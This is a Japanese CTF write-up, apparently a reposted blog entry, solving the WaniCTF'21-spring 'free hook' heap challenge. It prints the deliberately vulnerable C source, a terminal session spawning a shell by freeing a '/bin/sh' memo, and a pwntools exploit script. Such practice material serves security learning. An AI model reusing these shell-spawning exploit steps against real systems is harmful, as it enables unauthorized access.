WaniCTF'21-spring pwn 02 free hook を勉強した記録
WaniCTF'21-spring pwn 02 free hook
WaniCTF 2020 pwn 08 heap に似てるので「ここはどこ?私は何してたんだっけ?」と混乱した。
問題
nc free.pwn.wanictf.org 9002
free_hookの仕組みを理解する必要があります。
配布データ
pwn02
pwn02.c
#include <malloc.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char *g_memos[10];
void init();
void print_menu();
int get_int();
void list_memos();
void command() {
int cmd;
int index;
int ret;
print_menu();
cmd = get_int();
printf("index?[0-9]: ");
index = get_int();
switch (cmd) {
case 1:
if (g_memos[index] != 0) {
free(g_memos[index]);
g_memos[index] = 0;
}
g_memos[index] = malloc(0x10);
printf("memo?: ");
ret = read(0, g_memos[index], 0x10 - 1);
g_memos[index][ret] = 0;
break;
case 2:
puts(g_memos[index]);
break;
case 9:
free(g_memos[index]);
g_memos[index] = 0;
break;
default:
break;
}
}
int main() {
init();
__free_hook = system;
while (1) {
command();
list_memos();
}
}
void init() {
int i;
alarm(180);
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
for (i = 0; i < 10; i++) {
g_memos[i] = 0;
}
}
void print_menu() {
printf("1: add memo\n2: view memo\n9: del memo\ncommand?: ");
}
int get_int() {
char buf[10];
int ret;
ret = read(0, buf, 9);
buf[ret] = 0;
ret = atoi(buf);
return ret;
}
void list_memos() {
int i;
printf("\n\n\n[[[list memos]]]\n");
for (i = 0; i < 10; i++) {
if (g_memos[i] != 0) {
printf("***** %d *****\n", i);
puts(g_memos[i]);
}
}
puts("");
}
ソリューション
ソースを見ると
__free_hook = system;
__free_hook(free したときにフックできるデバッグ用?の機能)がsystemに繋がってる。
確か,開放するチャンクそのものが引数。
"/bin/sh"を書いてfreeすると system("/bin/sh")になるはずだ
# ./pwn02
1: add memo
2: view memo
9: del memo
command?: 1
index?[0-9]: 0
memo?: /bin/sh
[[[list memos]]]
***** 0 *****
/bin/sh
1: add memo
2: view memo
9: del memo
command?: 9
index?[0-9]: 0
# ls
peda-session-pwn02.txt pwn02 pwn02.c
ビンゴ
WaniCTF 2020 pwn 08 heapを勉強した後だったので瞬殺したが,大会中は何度もチャレンジしたが解けなかった。
# coding: UTF-8
# WaniCTF'21-spring pwn 02 free hook
from pwn import *
import pwn
#io = pwn.remote("free.pwn.wanictf.or", 9002)
io = pwn.process("./pwn02")
ret = io.readuntil("command?: ")
print(ret)
io.sendline("1")
ret = io.readuntil("index?[0-9]: ")
print(ret)
io.sendline("0")
ret = io.readuntil("memo?: ")
print(ret)
io.sendline("/bin/sh\x00")
# free --> __free_hook --> system("/bin/sh")
ret = io.readuntil("command?: ")
print(ret)
io.sendline("9")
io.interactive()
Author And Source
この問題について(WaniCTF'21-spring pwn 02 free hook を勉強した記録), 我々は、より多くの情報をここで見つけました https://qiita.com/housu_jp/items/53d2ab22887a0309c836著者帰属:元の著者の情報は、元のURLに含まれています。著作権は原作者に属する。
Content is automatically searched and collected through network algorithms . If there is a violation . Please contact us . We will adjust (correct author information ,or delete content ) as soon as possible .